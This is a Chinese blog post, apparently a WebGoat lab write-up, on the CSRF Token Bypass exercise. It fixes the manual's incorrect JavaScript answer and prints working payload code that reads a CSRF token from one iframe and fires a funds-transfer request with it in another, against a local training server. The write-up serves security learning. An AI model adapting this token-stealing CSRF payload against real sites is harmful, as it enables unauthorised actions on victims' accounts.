CSRF Token Bypass再来过

最近使用WebGoat学习Java源码审计,顺便将WebGoat再过一遍,使用WebGoat中文手册作为参考,测试到CSRF Token绕过这个地方时,发现参考答案始终无法通过,仔细研究了下,发现原来是中文手册答案有误,因为耽误了些时间,所以就打算把它记录下来,避免后来人再踩坑。

1、问题分析

WebGoat中文参考手册给出的整理如下:

var tokenvalue;

function readFrame1() {

var frameDoc = document.getElementById("frame1").contentDocument;

var form = frameDoc.getElementsByTagName("form")[1];

var token = form.CSRFToken.value;

tokenvalue = '&CSRFToken='+token;

loadFrame2();

}

function loadFrame2() {

var testFrame = document.getElementById("frame2");

testFrame.src="http://127.0.0.1:8080/WebGoat/attack?Screen=274&menu=900&transferFunds=4000"+tokenvalue;

}

提交答案点击后将得到如下答案:


CSRF Token Bypass再来过_第1张图片

由上图可知第一个iframe被正常加载,但是第二个iframe中的内容却没有被正常加载,使用burp截获交互数据,发现(http://127.0.0.1:8080/WebGoat/attack?Screen=274&menu=900&transferFunds=4000"+tokenvalue)这个请求并没有被发送出去,猜想JS readFrame1方法并没有执行到最后的loadFrame2()这个语句,执行的过程中出现了差错。使用chrome对readFrame1中的代码进行动态调试,调试结果如下图所示:


CSRF Token Bypass再来过_第2张图片

在获取CSRFToken参数值的时候出现了错误,因此基本可以确定答案的错误主要来自于JS获取参数的方法出现了错误。

2、纠正验证

确定了答案的错误,那么就要寻找正确获取CSRFToken参数的方法,下面直接贴出完整的答案代码:

var tokenvalue;

function readFrame1() {

var frameDoc = document.getElementById("frame1").contentDocument;

var form = frameDoc.forms["form"];

var token = form.getElementsByTagName("input").CSRFToken["value"];

tokenvalue = '&CSRFToken='+token;

loadFrame2();

}

function loadFrame2() {

var testFrame = document.getElementById("frame2");

testFrame.src="http://127.0.0.1:8080/WebGoat/attack?Screen=274&menu=900&transferFunds=4000"+tokenvalue;

}

输入参数并提交,这时候看到了让我们兴奋的结果,如下图:


CSRF Token Bypass再来过_第3张图片

刷新下页面,此时页面左边出现了帅气的绿色对勾。此外需要注意的是在进行测试时一定要保证Screen、menu两个参数与页面右边的Parameters参数(如下图)保持一致,否则测试无法通过。


CSRF Token Bypass再来过_第4张图片

你可能感兴趣的:(CSRF Token Bypass再来过)